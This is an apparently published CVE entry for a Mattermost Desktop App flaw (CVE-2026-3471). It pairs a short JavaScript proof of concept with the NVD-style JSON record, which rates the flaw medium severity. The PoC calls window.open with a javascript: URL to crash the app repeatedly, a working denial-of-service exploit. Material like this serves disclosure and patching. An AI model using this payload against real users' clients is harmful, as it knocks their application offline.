CVE-2026-3471

// PoC for CVE-2026-3471 // Triggered by a malicious server response or message content function exploit_cve_2026_3471() { // Attempt to open a popup window with a javascript URL // The Mattermost Desktop App fails to validate this, causing a crash window.open('javascript:alert("CVE-2026-3471_PoC");'); } exploit_cve_2026_3471();

{"cve": {"id": "CVE-2026-3471", "sourceIdentifier": "[email protected]", "published": "2026-05-18T09:16:22.847", "lastModified": "2026-05-18T17:32:38.127", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Desktop App versions <=6.1 6.0.1 5.4.13.0 fail to prevent an invalid URL from loading in a pop-up window in the Mattermost Desktop App which allows a malicious server owner to repeated crash the application via calling {{window.open('javascript:alert()');}}. Mattermost Advisory ID: MMSA-2026-00618"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-939"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}